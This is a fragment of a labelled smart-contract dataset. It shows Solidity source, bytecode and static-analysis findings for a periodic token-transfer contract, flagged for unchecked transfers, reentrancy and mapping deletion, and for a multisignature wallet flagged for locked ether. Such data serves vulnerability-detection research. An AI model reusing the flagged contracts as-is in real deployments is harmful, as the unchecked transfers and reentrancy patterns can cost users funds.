removeSchedules(_cid, _sids); emit AutoTransfer(_contributor, _trio); } } emit AutoTransferCompleted(); } /** * Is there any transfer in schedule */ function totalTransfersInSchedule() external view returns(uint256,uint256) { // All contributors uint256[] memory _contributors = contributors(); uint256 total = 0; uint256 amount = 0; for (uint256 i = 0; i < _contributors.length; i++) { // cid and contributor address uint256 _cid = _contributors[i]; // All schedules uint256[] memory _schedules = schedules(_cid); for (uint256 j = 0; j < _schedules.length; j++) { // sid, trio and timestamp uint256 _sid = _schedules[j]; uint256 _timestamp = scheduleChains[_cid].nodes[_sid].timestamp; if(_timestamp < now) { total++; amount += scheduleChains[_cid].nodes[_sid].trio; } } } return (total,amount); } } contract TrioPeriodicTransfer is TPTTransfer { function TrioPeriodicTransfer(address _trio) public { trioContract = _trio; } }
0x6060604052600436106100cc5763ffffffff60e060020a6000350416630d342cab81146100d15780631d9b1d6f146100e6578063335b496e1461011e5780633d532bde1461014957806365158b3b1461019d5780636e7e3b2b146101d557806379ba50971461023b5780638da5cb5b1461024e578063af01866d1461027d578063bdc6d9ab146102ab578063beda86b9146102c1578063ca628c78146102df578063cd9b2f05146102f2578063d23e09f51461031c578063d4ee1d901461032f578063f2fde38b14610342575b600080fd5b34156100dc57600080fd5b6100e4610361565b005b34156100f157600080fd5b6100ff6004356024356105ab565b60405163ffffffff909216825260208201526040908101905180910390f35b341561012957600080fd5b610131610612565b60405191825260208201526040908101905180910390f35b341561015457600080fd5b6100e46004803590604460248035908101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061071e95505050505050565b34156101a857600080fd5b6101b3600435610a26565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156101e057600080fd5b6101e8610a4d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561022757808201518382015260200161020f565b505050509050019250505060405180910390f35b341561024657600080fd5b6100e4610b27565b341561025957600080fd5b610261610ba8565b604051600160a060020a03909116815260200160405180910390f35b341561028857600080fd5b6100e4600480359060248035808201929081013591604435908101910135610bb7565b34156102b657600080fd5b6101e8600435611094565b34156102cc57600080fd5b6100e460048035602481019101356111ba565b34156102ea57600080fd5b6100e4611258565b34156102fd57600080fd5b6100e46024600480358281019290820135918135918201910135611359565b341561032757600080fd5b610261611435565b341561033a57600080fd5b610261611444565b341561034d57600080fd5b6100e4600160a060020a0360043516611453565b600061036b61181d565b600080600061037861181d565b60008060008061038661181d565b60075433600160a060020a039081169116146103a157600080fd5b600054600160a060020a03169a506103b7610a4d565b9950600098505b8951891015610572578989815181106103d357fe5b90602001906020020151600081815260056020526040902060030154909850600160a060020a0316965061040688611094565b9550600094505b85518510156105675785858151811061042257fe5b906020019060200201516000898152600660209081526040808320848452600490810190925290912090810154600390910154919550935063ffffffff1691504282111561046f57610567565b8a600160a060020a031663a9059cbb888560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104c357600080fd5b5af115156104d057600080fd5b505050604051805190505060016040518059106104ea5750595b90808252806020026020018201604052509050838160008151811061050b57fe5b6020908102909101015261051f888261071e565b86600160a060020a03167f2d2226328619f084c62fc937398f719670d1b9cfaea5ad83e6fce6ed930d743c8460405190815260200160405180910390a260019094019361040d565b6001909801976103be565b7f865265ae79513b76d60178379d89f02c687f9e8e6984eac5044f101b47b22f3160405160405180910390a15050505050505050505050565b600082815260066020908152604080832084845260040190915281206002015481908490849081146105dc57600080fd5b5050506000928352506006602090815260408084209284526004928301909152909120600381015491015463ffffffff90911691565b60008061061d61181d565b60008060008061062b61181d565b6000806000610638610a4d565b98506000975060009650600095505b885186101561070d5788868151811061065c57fe5b90602001906020020151945061067185611094565b9350600092505b83518310156107025783838151811061068d57fe5b90602001906020020151600086815260066020908152604080832084845260040190915290206003015490925063ffffffff169050428110156106f75760008581526006602090815260408083208584526004908101909252909120015460019098019796909601955b600190920191610678565b600190950194610647565b509599949850939650505050505050565b60075460009081908190819033600160a060020a0390811691161461074257600080fd5b6000868152600560205260409020600201548690811461076157600080fd5b6000945060009350600091505b85518210156109a15785828151811061078357fe5b90602001906020020151600088815260066020908152604080832084845260040190915290206002015490935083146107bb57600080fd5b60008781526006602090815260408083208684526004019091529020805460019091015490955093508415156108b357831561084e5760008781526006602081815260408084208885526004808201845282862086905588865291852085815560018101869055600280820187905560038201805463ffffffff191690559201859055938b9052919052018490556108ae565b600087815260066020818152604080842087855260048082018452918520858155600180820187905560028083018890556003808401805463ffffffff19169055929094018790558d875294909352848155928301849055820183905501555b61096a565b83151561091257600087815260066020908152604080832060018082018a9055898552600491820190935281842083018490558684529083208381559182018390556002820183905560038201805463ffffffff19169055015561096a565b6000878152600660209081526040808320878452600490810190925280832088905587835280832060019081018890558684529083208381559081018390556002810183905560038101805463ffffffff1916905501555b600087815260066020526040812054111561099657600087815260066020526040902080546000190190555b60019091019061076e565b7f7132af95d18b04891532b629fc8c45faa21e6d89b93eda74706a461ae7d22f18878760405182815260406020820181815290820183818151815260200191508051906020019060200280838360005b83811015610a095780820151838201526020016109f1565b50505050905001935050505060405180910390a150505050505050565b60009081526005602052604090206003810154600490910154600160a060020a0390911691565b610a5561181d565b6000806000610a6261181d565b600254600154945060009350915082841115610afd5783604051805910610a865750595b908082528060200260200182016040525090505b8115801590610aa857508383105b15610af557600082815260056020526040902060020154818481518110610acb57fe5b60209081029091018101919091526000928352600590526040909120546001929092019190610a9a565b809450610b20565b6000604051805910610b0c5750595b908082528060200260200182016040525094505b5050505090565b60085433600160a060020a03908116911614610b4257600080fd5b600854600754600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36008805460078054600160a060020a0319908116600160a060020a03841617909155169055565b600754600160a060020a031681565b60075460009081908190819033600160a060020a03908116911614610bdb57600080fd5b60008981526005602052604090206002015489908114610bfa57600080fd5b600088118015610c0957508786145b1515610c1457600080fd5b600094505b878510156110555760008a81526006602052604081206003810154905491955085945060010192501515610d6157608060405190810160409081526001825260208083018590528183018590526060830185905260008d815260069091522081518155602082015181600101556040820151816002015560608201516003909101555060a06040519081016040528060008152602001600081526020018381526020018a8a888181101515610cca57fe5b9050602002013563ffffffff1663ffffffff1681526020018888888181101515610cf057fe5b6020908102929092013590925260008d8152600682526040808220878352600401909252209050815181556020820151816001015560408201518160020155606082015160038201805463ffffffff191663ffffffff9290921691909117905560808201516004909101555061104a565b60008a815260066020526040902060038101839055805460010181556002015493505b888886818110610d9057fe5b60008d81526006602090815260408083208a84526004018252909120600301549102929092013563ffffffff90811692169190911190508015610dd257508315155b15610e005760008a815260066020908152604080832096835260049096019052939093206001015492610d84565b831515610f0c5760008a8152600660205260409081902060010154935060a0905190810160405280848152602001600081526020018381526020018a8a888181101515610e4957fe5b9050602002013563ffffffff1663ffffffff1681526020018888888181101515610e6f57fe5b6020908102929092013590925260008d8152600682526040808220878352600401909252209050815181556020820151816001015560408201518160020155606082015160038201805463ffffffff191663ffffffff92909216919091179055608082015160049182015560008c8152600660208181526040808420898552948501825283206001908101889055928f905252018390555061104a565b60008a81526006602090815260408083208784526004019091529081902054935060a09051908101604052808481526020018581526020018381526020018a8a888181101515610f5857fe5b9050602002013563ffffffff1663ffffffff1681526020018888888181101515610f7e57fe5b6020908102929092013590925260008d8152600682526040808220878352600401909252209050815181556020820151816001015560408201518160020155606082015160038201805463ffffffff191663ffffffff92909216919091179055608082015160049182015560008c8152600660209081526040808320898452909301905220839055508215156110275760008a815260066020526040902060020182905561104a565b60008a815260066020908152604080832086845260040190915290206001018290555b600190940193610c19565b7f2440386194e8151787a0616bb3725430eedf255c119ee50992da415daf31eeab8a60405190815260200160405180910390a150505050505050505050565b61109c61181d565b60008060006110a961181d565b600086815260056020526040902060020154869081146110c857600080fd5b600087815260066020526040812060018101549054965090945092508385111561118d57846040518059106110fa5750595b908082528060200260200182016040525091505b821580159061111c57508484105b1561118557600087815260066020908152604080832086845260040190915290206002015482858151811061114d57fe5b60209081029091018101919091526000888152600682526040808220958252600490950190915292909220546001909301929161110e565b8195506111b0565b600060405180591061119c5750595b908082528060200260200182016040525095505b5050505050919050565b60075460009033600160a060020a039081169116146111d857600080fd5b5060005b81811015611207576111ff8383838181106111f357fe5b90506020020135611490565b6001016111dc565b82826040518083836020028082843782019150509250505060405180910390207fb143d5b2000a3fd522c0fa8a1377d3cfd60315bde4d72f846627aeacb529733360405160405180910390a2505050565b600754600090819033600160a060020a0390811691161461127857600080fd5b600054600160a060020a03169150816370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156112cb57600080fd5b5af115156112d857600080fd5b5050506040518051600754909250600160a060020a03808516925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561133e57600080fd5b5af1151561134b57600080fd5b505050604051805150505050565b60075460009033600160a060020a0390811691161461137757600080fd5b83821480156113865750600084115b151561139157600080fd5b5060005b838110156113e2576113da8585838181106113ac57fe5b90506020020135600160a060020a031684848481811015156113ca57fe5b9050602002013560001916611660565b600101611395565b84846040518083836020028082843782019150509250505060405180910390207f877d5206f988fb6bf19d1bada52bae5eeec8bbdec24ad9db2406b3ac905e03ce60405160405180910390a25050505050565b600054600160a060020a031681565b600854600160a060020a031681565b60075433600160a060020a0390811691161461146e57600080fd5b60088054600160a060020a031916600160a060020a0392909216919091179055565b6000818152600560205260408120600201548190839081146114b157600080fd5b8315156114bd57600080fd5b60008481526005602052604081206002015490935083925084146114e057600080fd5b6000848152600560205260409020805460019091015490935091508215156115a1578115611554576000828152600560205260408082208290558582528120818155600181018290556002810182905560038082018054600160a060020a031916905560049091019190915582905561159c565b60008481526005602052604081208181556001818101839055600280830184905560038084018054600160a060020a0319169055600493840185905591849055839055829055555b611643565b8115156115f65760028381556000848152600560205260408082206001908101839055878352908220828155908101829055918201819055600382018054600160a060020a0319169055600490910155611643565b600082815260056020526040808220859055848252808220600190810185905586835290822082815590810182905560028101829055600381018054600160a060020a0319169055600401555b600154600090111561165a57600180546000190190555b50505050565b600080600160a060020a038416151561167857600080fd5b505060045460018054600092909101901515611768576080604051908101604052806001815260200182815260200182815260200182815250600160008201518155602082015181600101556040820151816002015560608201516003909101555060a0604051908101604090815260008083526020808401829052828401859052600160a060020a03881660608501526080840187905284825260059052208151815560208201518160010155604082015181600201556060820151600382018054600160a060020a031916600160a060020a039290921691909117905560808201516004909101555061165a565b60048190556003546001805481019055915060a0604051908101604090815260008083526020808401869052828401859052600160a060020a03881660608501526080840187905284825260059052208151815560208201518160010155604082015181600201556060820151600382018054600160a060020a031916600160a060020a0392909216919091179055608082015160049190910155506000918252600560205260409091208190556003555050565b602060405190810160405260008152905600a165627a7a7230582023b28f949377710d9fbaaee0711860063109f2499274aaf2b7217b3309ffbc1f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,827
0xdd0e3546eebf3f1cc4454a16b4dc5b677923bdc1
pragma solidity ^0.5.17; /** * @title Multisignature wallet - Allows multiple parties to agree on * transactions before execution. * * @author Stefan George - <stefan.george@consensys.net> * */ contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint256 transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @notice Fallback function allows to deposit ether. function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /** * @notice Contract constructor sets initial owners and required number * of confirmations. * * @param _owners List of initial owners. * @param _required Number of required confirmations. * */ constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /** * @notice Allows to add a new owner. Transaction has to be sent by wallet. * @param owner Address of new owner. * */ function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /** * @notice Allows to remove an owner. Transaction has to be sent by wallet. * @param owner Address of owner. * */ function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /** * @notice Allows to replace an owner with a new owner. Transaction has * to be sent by wallet. * * @param owner Address of owner to be replaced. * @param newOwner Address of new owner. * */ function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /** * @notice Allows to change the number of required confirmations. * Transaction has to be sent by wallet. * * @param _required Number of required confirmations. * */ function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /** * @notice Allows an owner to submit and confirm a transaction. * * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * * @return Returns transaction ID. * */ function submitTransaction( address destination, uint256 value, bytes memory data ) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /** * @notice Allows an owner to confirm a transaction. * @param transactionId Transaction ID. * */ function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /** * @notice Allows an owner to revoke a confirmation for a transaction. * @param transactionId Transaction ID. * */ function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /** * @notice Allows anyone to execute a confirmed transaction. * @param transactionId Transaction ID. * */ function executeTransaction(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } /** * @notice Low level transaction execution. * * @dev Call has been separated into its own function in order to * take advantage of the Solidity's code generator to produce a * loop that copies tx.data into memory. * * @param destination The address of the Smart Contract to call. * @param value The amout of rBTC to send w/ the transaction. * @param dataLength The size of the payload. * @param data The payload. * * @return Success or failure. * */ function external_call( address destination, uint256 value, uint256 dataLength, bytes memory data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) /// "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) /// First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), /// 34710 is the value that solidity is currently emitting /// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + /// callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, /// Size of the input (in bytes) - this is what fixes the padding problem x, 0 /// Output is ignored, therefore the output size is zero ) } return result; } /** * @notice Returns the confirmation status of a transaction. * @param transactionId Transaction ID. * @return Confirmation status. * */ function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } return false; } /* * Internal functions */ /** * @notice Adds a new transaction to the transaction mapping, * if transaction does not exist yet. * * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * * @return Returns transaction ID. * */ function addTransaction( address destination, uint256 value, bytes memory data ) internal notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /** * @notice Get the number of confirmations of a transaction. * @param transactionId Transaction ID. * @return Number of confirmations. * */ function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /** * @notice Get the total number of transactions after filers are applied. * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Total number of transactions after filters are applied. * */ function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) count += 1; } /** * @notice Get the list of owners. * @return List of owner addresses. * */ function getOwners() public view returns (address[] memory) { return owners; } /** * @notice Get the array with owner addresses, which confirmed transaction. * @param transactionId Transaction ID. * @return Returns array of owner addresses. * */ function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /** * @notice Get the list of transaction IDs in defined range. * * @param from Index start position of transaction array. * @param to Index end position of transaction array. * @param pending Include pending transactions. * @param executed Include executed transactions. * * @return Returns array of transaction IDs. * */ function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory _transactionIds) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c8414610534578063c64274741461055e578063d74f8edd14610626578063dc8452cd1461063b578063e20056e614610650578063ee22610b1461068b5761012a565b8063a0e67e2b14610426578063a8abe69a1461048b578063b5dc40c3146104cb578063b77bf600146104f5578063ba51a6df1461050a5761012a565b806354741525116100f2578063547415251461028c5780637065cb48146102d2578063784547a7146103055780638b51d13f1461032f5780639ace38c2146103595761012a565b8063025e7c2714610169578063173825d9146101af57806320ea8d86146101e25780632f54bf6e1461020c5780633411c81c14610253575b34156101675760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017557600080fd5b506101936004803603602081101561018c57600080fd5b50356106b5565b604080516001600160a01b039092168252519081900360200190f35b3480156101bb57600080fd5b50610167600480360360208110156101d257600080fd5b50356001600160a01b03166106dc565b3480156101ee57600080fd5b506101676004803603602081101561020557600080fd5b5035610848565b34801561021857600080fd5b5061023f6004803603602081101561022f57600080fd5b50356001600160a01b03166108fe565b604080519115158252519081900360200190f35b34801561025f57600080fd5b5061023f6004803603604081101561027657600080fd5b50803590602001356001600160a01b0316610913565b34801561029857600080fd5b506102c0600480360360408110156102af57600080fd5b508035151590602001351515610933565b60408051918252519081900360200190f35b3480156102de57600080fd5b50610167600480360360208110156102f557600080fd5b50356001600160a01b031661099f565b34801561031157600080fd5b5061023f6004803603602081101561032857600080fd5b5035610ab3565b34801561033b57600080fd5b506102c06004803603602081101561035257600080fd5b5035610b3e565b34801561036557600080fd5b506103836004803603602081101561037c57600080fd5b5035610bad565b60405180856001600160a01b03166001600160a01b031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103e85781810151838201526020016103d0565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561043257600080fd5b5061043b610c6b565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561047757818101518382015260200161045f565b505050509050019250505060405180910390f35b34801561049757600080fd5b5061043b600480360360808110156104ae57600080fd5b508035906020810135906040810135151590606001351515610cce565b3480156104d757600080fd5b5061043b600480360360208110156104ee57600080fd5b5035610df9565b34801561050157600080fd5b506102c0610f70565b34801561051657600080fd5b506101676004803603602081101561052d57600080fd5b5035610f76565b34801561054057600080fd5b506101676004803603602081101561055757600080fd5b5035610ff3565b34801561056a57600080fd5b506102c06004803603606081101561058157600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156105b157600080fd5b8201836020820111156105c357600080fd5b803590602001918460018302840111640100000000831117156105e557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506110ba945050505050565b34801561063257600080fd5b506102c06110d9565b34801561064757600080fd5b506102c06110de565b34801561065c57600080fd5b506101676004803603604081101561067357600080fd5b506001600160a01b03813581169160200135166110e4565b34801561069757600080fd5b50610167600480360360208110156106ae57600080fd5b5035611261565b600381815481106106c257fe5b6000918252602090912001546001600160a01b0316905081565b3330146106e857600080fd5b6001600160a01b038116600090815260026020526040902054819060ff1661070f57600080fd5b6001600160a01b0382166000908152600260205260408120805460ff191690555b600354600019018110156107e357826001600160a01b03166003828154811061075557fe5b6000918252602090912001546001600160a01b031614156107db5760038054600019810190811061078257fe5b600091825260209091200154600380546001600160a01b0390921691839081106107a857fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506107e3565b600101610730565b506003805460001901906107f7908261151c565b5060035460045411156108105760035461081090610f76565b6040516001600160a01b038316907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050565b3360008181526002602052604090205460ff1661086457600080fd5b60008281526001602090815260408083203380855292529091205483919060ff1661088e57600080fd5b600084815260208190526040902060030154849060ff16156108af57600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561099857838015610960575060008181526020819052604090206003015460ff16155b806109845750828015610984575060008181526020819052604090206003015460ff165b15610990576001820191505b600101610937565b5092915050565b3330146109ab57600080fd5b6001600160a01b038116600090815260026020526040902054819060ff16156109d357600080fd5b816001600160a01b0381166109e757600080fd5b60038054905060010160045460328211158015610a045750818111155b8015610a0f57508015155b8015610a1a57508115155b610a2357600080fd5b6001600160a01b038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b03191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610b325760008481526001602052604081206003805491929184908110610ae157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610b15576001820191505b600454821415610b2a57600192505050610b39565b600101610ab8565b5060009150505b919050565b6000805b600354811015610ba75760008381526001602052604081206003805491929184908110610b6b57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610b9f576001820191505b600101610b42565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f81018890048802840188019096528583526001600160a01b0390931695909491929190830182828015610c585780601f10610c2d57610100808354040283529160200191610c58565b820191906000526020600020905b815481529060010190602001808311610c3b57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610cc357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ca5575b505050505090505b90565b606080600554604051908082528060200260200182016040528015610cfd578160200160208202803883390190505b5090506000805b600554811015610d7e57858015610d2d575060008181526020819052604090206003015460ff16155b80610d515750848015610d51575060008181526020819052604090206003015460ff165b15610d765780838381518110610d6357fe5b6020026020010181815250506001820191505b600101610d04565b878703604051908082528060200260200182016040528015610daa578160200160208202803883390190505b5093508790505b86811015610dee57828181518110610dc557fe5b60200260200101518489830381518110610ddb57fe5b6020908102919091010152600101610db1565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015610e2b578160200160208202803883390190505b5090506000805b600354811015610eee5760008581526001602052604081206003805491929184908110610e5b57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610ee65760038181548110610e9557fe5b9060005260206000200160009054906101000a90046001600160a01b0316838381518110610ebf57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506001820191505b600101610e32565b81604051908082528060200260200182016040528015610f18578160200160208202803883390190505b509350600090505b81811015610f6857828181518110610f3457fe5b6020026020010151848281518110610f4857fe5b6001600160a01b0390921660209283029190910190910152600101610f20565b505050919050565b60055481565b333014610f8257600080fd5b6003548160328211801590610f975750818111155b8015610fa257508015155b8015610fad57508115155b610fb657600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff1661100f57600080fd5b60008281526020819052604090205482906001600160a01b031661103257600080fd5b60008381526001602090815260408083203380855292529091205484919060ff161561105d57600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36110b385611261565b5050505050565b60006110c7848484611418565b90506110d281610ff3565b9392505050565b603281565b60045481565b3330146110f057600080fd5b6001600160a01b038216600090815260026020526040902054829060ff1661111757600080fd5b6001600160a01b038216600090815260026020526040902054829060ff161561113f57600080fd5b60005b6003548110156111c757846001600160a01b03166003828154811061116357fe5b6000918252602090912001546001600160a01b031614156111bf57836003828154811061118c57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506111c7565b600101611142565b506001600160a01b03808516600081815260026020526040808220805460ff1990811690915593871682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a26040516001600160a01b038416907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a250505050565b3360008181526002602052604090205460ff1661127d57600080fd5b60008281526001602090815260408083203380855292529091205483919060ff166112a757600080fd5b600084815260208190526040902060030154849060ff16156112c857600080fd5b6112d185610ab3565b156110b3576000858152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f6000199783161561010002979097019091169290920494850187900487028201870190975283815293956113a3956001600160a01b039093169491939283908301828280156113995780601f1061136e57610100808354040283529160200191611399565b820191906000526020600020905b81548152906001019060200180831161137c57829003601f168201915b50505050506114f9565b156113d85760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2611410565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038101805460ff191690555b505050505050565b6000836001600160a01b03811661142e57600080fd5b600554604080516080810182526001600160a01b038881168252602080830189815283850189815260006060860181905287815280845295909520845181546001600160a01b031916941693909317835551600183015592518051949650919390926114a1926002850192910190611545565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b815481835581811115611540576000838152602090206115409181019083016115c3565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061158657805160ff19168380011785556115b3565b828001600101855582156115b3579182015b828111156115b3578251825591602001919060010190611598565b506115bf9291506115c3565b5090565b610ccb91905b808211156115bf57600081556001016115c956fea265627a7a72315820d4cbd9432ef477338b998d04c622ec7dff520f485fc574fbad0d52dc0752e80464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,828
0x0b72c88A4f5e81d96da2eA3E8A26D0113de9d3Ac
